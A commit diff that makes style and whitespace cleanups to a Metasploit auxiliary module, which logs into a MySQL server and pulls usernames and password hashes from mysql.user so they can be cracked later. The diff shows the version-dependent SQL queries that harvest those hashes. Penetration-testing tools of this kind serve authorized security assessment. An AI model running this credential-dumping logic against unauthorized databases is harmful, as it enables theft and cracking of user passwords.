fix whitespace

modules/auxiliary/scanner/mysql/mysql_hashdump.rb

@@ -12,10 +12,10 @@ class MetasploitModule < Msf::Auxiliary
   def initialize
     super(
       'Name'           => 'MYSQL Password Hashdump',
-      'Description'    => %Q{
+      'Description'    => %(
           This module extracts the usernames and encrypted password
         hashes from a MySQL server and stores them for later cracking.
-      },
+      ),
       'Author'         => ['theLightCosine'],
       'License'        => MSF_LICENSE
     )
@@ -23,9 +23,7 @@ class MetasploitModule < Msf::Auxiliary
 
   def run_host(ip)
 
-    if (not mysql_login_datastore)
-      return
-    end
+    return unless mysql_login_datastore
 
     service_data = {
       address: ip,
@@ -56,20 +54,23 @@ class MetasploitModule < Msf::Auxiliary
 
     create_credential_login(login_data)
 
-    #Grabs the username and password hashes and stores them as loot
+    # Grab the username and password hashes and store them as loot
     version = mysql_get_variable("@@version")
-    if (5.6 < version[0..2].to_f)
+
+    # Starting from MySQL 5.7, the 'password' column was changed to 'authentication_string'.
+    if version[0..2].to_f > 5.6
       res = mysql_query("SELECT user,authentication_string from mysql.user")
     else
       res = mysql_query("SELECT user,password from mysql.user")
     end
+
     if res.nil?
       print_error("There was an error reading the MySQL User Table")
       return
     end
 
     service_data = {
-      address: ::Rex::Socket.getaddress(rhost,true),
+      address: ::Rex::Socket.getaddress(rhost, true),
       port: rport,
       service_name: 'mysql',
       protocol: 'tcp',
@@ -99,10 +100,5 @@ class MetasploitModule < Msf::Auxiliary
         create_credential_login(login_data)
       end
     end
-
   end
-
-
-
-
 end